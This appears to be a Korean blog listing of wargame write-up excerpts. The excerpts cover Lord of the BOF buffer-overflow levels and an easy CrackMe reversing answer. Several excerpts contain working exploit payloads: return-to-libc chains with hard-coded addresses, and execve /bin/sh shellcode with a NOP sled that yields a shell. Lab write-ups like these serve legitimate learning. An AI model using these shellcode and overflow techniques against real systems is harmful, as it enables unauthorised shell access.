본문 바로가기

Wargame

(35)
파이썬 버그 0x0f -> 0x00 파이썬에 버그가 있다고 한다. 0x0f -> 0x00 으로 인식하는 버그인데, 이를 위해서 ./giant `python -c 'print "\x00"'` 여기서 `python ~ 00"'` 부분을 " 으로 묶어준다. ./giant "`python -c 'print "\x00"'`" 이런식으로 하면 올바른 페이로드를 작성할 수 있다.
bugbear -> giant 일단 중간중간 찍은 스샷부터 0x40058ae0 --> system 0x400fbff9 --> binsh0x400a9d48 --> execve0xbffffb0c --> null0x400391e0 --> exit 포인터 배열0xbffffad4&execve &exit &binsh&&binsh &null"`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "\x02\xfc\xff\xbf" + "\xa0\xfa\xff\xbf"'`" ./"`python -c 'print "\xf9\xbf\x0f\x40"'`" "`python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "\xe0..
darkknight -> bugbear RTL. 문제에 스택 자체를 사용하지 못하게 스택 앞 주소인 \xbf 를 아주 막아놓았다.#include #include main(int argc, char *argv[]){char buffer[40];int i; if(argc < 2){printf("argv error\n");exit(0);} if(argv[1][47] == '\xbf'){printf("stack betrayed you!!\n");exit(0);} strcpy(buffer, argv[1]); printf("%s\n", buffer);} 따라서 우리는 스택의 실행권한이 없거나, 네트워크 단에서 쉘코드를 막아놓았을 때 쓸 수 있는 RTL 기법을 사용해서 이 문제를 풀 수 있다. 일단 먼저 system 함수의 위치, /bin/sh 의 위치,..
공유 라이브러리 하이재킹, 1 byte overwirte 는 건너뜁니다. 나중에 좀더 이해하면 푸는걸로...무작위 대입 스크립트로 짜서 문제만 넘겼습니다darkknight / new attacker
1. Easy_CrackMe 푼건지 못푼건지.. 일단 실행하면 이런 화면이 나오는데, 아무 비밀번호나 입력하면 이런 오류창이 뜬다. 아이다로 열어보면 이런 소스가 나오는데, 대충 보자면일정 IF 문에 따라 성공, 실패 다이얼로그를 띄워준다 저기 있는a 5y R3versing E 가 있는데처음에 단순히 a5yR3versingE 를 입력해줬다가 안되길래선언된 순서대로String + v3 + Str1 + v5 Ea5yR3versing 을 입력 해주니 Correct 가 떴다. 키는 Ea5yR3versing다.
vampire -> skeleton argv 전체,환경변수 전체 를 초기화 시킨다.마땅한 페이로드가 생각나지 않아 삽질하던중,메모리에 파일의 경로 값이 남는것을 발견했다. 그래서 gdb 로 확인을 해봤더니, 정말 초기화가 되지 않았다. 인자에 포함이 되지 않는 값인 것 같다. 그래서 심볼릭 링크를 이용해, (하드링크시 아이노드가 복사되어서 권한이 변경된다.)파일 이름에 쉘코드를 포함시켰다. [vampire@localhost payload]$ ls????????????????????????????????????????????????????????????????????????????????????????????????????h?��?h�?SThjo?�h?i0chi0tij?Y�??Iy�A��T�[vampire@localhost payload]$..
troll -> vampire argv 길이 제한이 없어졌다.대신 RET 가 bf 다음 ff 면 거른다.따라서 ff 주소를 뛰어넘을bffe~~~ 주소를 찾아야 한다.argv 길이 제한이 없으므로, argv[1] 뒤에 NOP를 많이 붙여줌으로써 buffer 의 시작위치를 뒤로 보낸다. [troll@localhost asdf]$ ../vampire `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*19 + "\x30\x72\xfe\xbf" + "\x90"*100444'`bash$ my-pass euid = 509 music world bash$
gdb 특정 값찾기 (gdb) set $x=0x08071000(gdb) while(*++$x!=0x90909090)>end(gdb) x/10b $x